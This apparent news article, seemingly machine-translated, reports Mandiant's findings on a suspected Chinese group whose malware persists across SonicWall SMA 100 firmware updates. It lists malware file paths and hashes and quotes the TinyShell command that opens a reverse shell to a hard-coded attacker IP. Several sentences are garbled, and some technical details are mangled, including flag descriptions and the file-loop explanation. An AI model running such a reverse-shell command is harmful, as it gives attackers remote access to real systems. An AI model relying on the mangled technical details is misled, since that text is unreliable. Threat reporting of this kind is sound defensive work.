Malware infecting widely used security appliance survives firmware updates

A threat actor linked to the Chinese government has infected SonicWall’s widely used security appliances with malware that remains active even after the devices receive a firmware update, researchers say. said.

SonicWall’s Secure Mobile Access 100 is a secure remote access appliance that helps organizations securely deploy remote workers. Customers use it to grant fine-grained access control to a remote user, provide her VPN connection to the organization’s network, and set unique profiles for each employee. The SMA 100’s access to customer networks makes it an attractive target for attackers.

In 2021, the device came under attack by sophisticated hackers who exploited a zero-day vulnerability at the time. Fortinet and Pulse Secure security appliances have suffered similar attacks in recent years.

Gaining long-term persistence within the network

On Thursday, security firm Mandiant said threat actors with suspected Chinese ties were involved in a campaign to maintain long-term persistence by running malware on unpatched SonicWall SMA appliances. We published a report stating that The campaign was notable for the malware’s ability to remain on the device even after it received new firmware.

Mandiant researchers Daniel Lee, Stephen Eckels and Ben Read write: “This allows access to the network to be maintained through firmware updates and a foothold on the network through the SonicWall device.”

To achieve this persistence, the malware checks for available firmware upgrades every 10 seconds. When an update becomes available, the malware copies the archive file for backup, unpacks it, mounts it, and copies the entire package of malicious files to it. The malware also adds a backdoor root user to mounted files. The malware then rezips the files and prepares them for installation.

“While this technique is not particularly sophisticated, it does indicate that the attackers have put considerable effort into understanding the appliance update cycle and developing and testing methods for persistence. ’” wrote the researcher.

Persistence techniques are consistent with a 2021 attack campaign that used 16 malware families to infect Pulse Secure devices. Mandiant believes the attack was the work of multiple threat groups, including those he tracks as UNC2630, UNC2717, and the company described it as “a key priority for the Chinese government. ‘ is supported. Mandiant believes the ongoing attacks against SonicWall SMA 100 customers are from a group tracked as UNC4540.

“In recent years, Chinese attackers have deployed multiple zero-day exploits and malware on various Internet-facing network appliances as an entry point across enterprises. It’s part of a recent pattern that we expect to continue in the near future,” the Mandiant researchers wrote in a report on Thursday.

Highly privileged access

The main purpose of this malware appears to be to steal cryptographically hashed passwords of all logged-in users. It also provides a web shell that attackers can use to install new malware.

“Analysis of the compromised device revealed a collection of files that gave the attacker highly privileged and available access to the appliance,” researchers wrote in a report Thursday. “This malware consists of a series of bash scripts and a single ELF binary identified as a TinyShell variant. The overall behavior of the series of malicious bash scripts provides a detailed understanding of the appliance. It shows and is tailored to the system to provide stability and sustainability.”

Here is the list of malware:

the way	hash	function
/bin/firewall	e4117b17e3d14fe64f45750be71dbaa6	Main malware process
/bin/httpsd	2d57bcb8351cf2b57c4fd2d1bb8f862e	TinyShell Backdoor
/etc/rc.d/rc.local	559b9ae2a578e1258e80c45a5794c071	firewalld boot persistence
/bin/iptabled	8dbf1effa7bc94fc0b9b4ce83dfce2e6	Redundant main malware process
/bin/geoBotnetd	619769d3d40a3c28ec83832ca521f521	Firmware backdoor script
/bin/ifconfig6	fa1bf2e427b2defffd573854c35d4919	Graceful shutdown script

The report continues:

The main malware entry point is a bash script named: firewalldwhich runs the primary loop once to square the number of all files on the system: …for j in $(ls / -R) do for i in $(ls / -R) do:… The script executes SQL commands to steal credentials and execute other components.

the first function of firewalld Run TinyShell backdoor httpsd with command nohup /bin/httpsd -c -d 5 -m -1 -p 51432 > /dev/null 2>&1 & if httpsd The process has not yet run. This sets TinyShell into reverse shell mode and instructs it to call the aforementioned IP address and port at a specific date and time. -m A flag with a beacon interval defined by -d National flag. A hard-coded IP address is embedded in the binary. This is used in reverse shell mode if the IP address argument is left blank. A listen bind shell mode is also available.

Researchers said they weren’t sure what the initial route of transmission was.

Last week, SonicWall published an advisory urging SMA 100 users to upgrade to version 10.2.1.7 or later. These versions include enhancements such as file integrity monitoring and abnormal process identification. A patch is available here. Additionally, logs should be regularly reviewed for signs of compromise, such as unusual logins or internal traffic.